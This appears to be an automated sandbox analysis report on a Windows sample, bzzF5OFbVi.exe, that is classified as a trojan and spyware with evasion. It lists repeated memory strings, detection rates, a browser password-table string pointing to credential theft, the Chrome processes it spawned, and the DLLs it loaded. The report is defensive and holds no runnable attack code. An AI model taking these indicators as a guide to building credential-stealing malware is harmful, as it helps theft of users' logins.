Source: bzzF5OFbVi.exe, 00000000.00000003.2246120115.000000000597D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2264342494.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2249404159.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2235046371.000000000597F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2239519558.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2250867794.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2257647895.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2250128728.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2260138727.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2260481056.0000000005ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2243732471.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2255593211.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2235876384.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2254392893.0000000005BAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2237283191.0000000005A38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232602928.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2234671031.0000000005980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2234862067.0000000005A32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2247866850.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2234059278.0000000005A2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2239092400.000000000597F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2258864260.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2258395651.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232860584.000000000597F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2259211593.0000000005AAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2261613945.0000000005AB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233082077.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2245193411.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2287644147.0000000005555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233311836.0000000005A24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2256019141.000000000597C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2260306277.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2243140007.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2256801025.000000000597C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2262831079.0000000005981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2239376591.0000000005980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232969436.0000000005A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2260668539.000000000597C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2244912252.0000000005977000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233904110.0000000005982000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2235690983.0000000005A28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2240068249.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2247391020.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232398391.0000000005624000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2261114642.0000000005977000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2242727748.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2244616344.0000000005A68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2262212654.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000002.2398438038.0000000005982000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2238801165.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2234490362.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233196389.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2244400860.000000000597D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2256421939.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2249038626.000000000597A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2257255952.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233559280.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2287708567.00000000055D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2259390985.0000000005BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2258187199.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232489602.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233437625.0000000005977000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2263410176.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2245554461.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2240764979.0000000005A53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2251362503.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2236801537.0000000005977000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2236520936.0000000005A3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2260846038.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2241514601.000000000597C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2239229165.0000000005A53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2242327613.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2248326894.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2232746438.00000000057DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2246585200.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2242153864.0000000005978000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2240949194.0000000005B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2237553281.0000000005B02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2246923500.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2235475864.0000000005979000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2257458710.0000000005BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe

Source: bzzF5OFbVi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: bzzF5OFbVi.exe	Static PE information: Section: ZLIB complexity 0.9998265316611842
Source: bzzF5OFbVi.exe	Static PE information: Section: masaydru ZLIB complexity 0.9945863045302014

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@11/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: bzzF5OFbVi.exe, 00000000.00000003.2093873148.00000000054DE000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093487758.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2129081038.000000000550F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: bzzF5OFbVi.exe	Virustotal: Detection: 54%
Source: bzzF5OFbVi.exe	ReversingLabs: Detection: 60%

Source: bzzF5OFbVi.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: bzzF5OFbVi.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

File read: C:\Users\user\Desktop\bzzF5OFbVi.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\bzzF5OFbVi.exe "C:\Users\user\Desktop\bzzF5OFbVi.exe"
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1992,i,11309799112895090289,4020689570377967000,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=868 --field-trial-handle=2004,i,15948486807748839215,8579350651910807067,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1992,i,11309799112895090289,4020689570377967000,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=868 --field-trial-handle=2004,i,15948486807748839215,8579350651910807067,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wkscli.dll	Jump to behavior
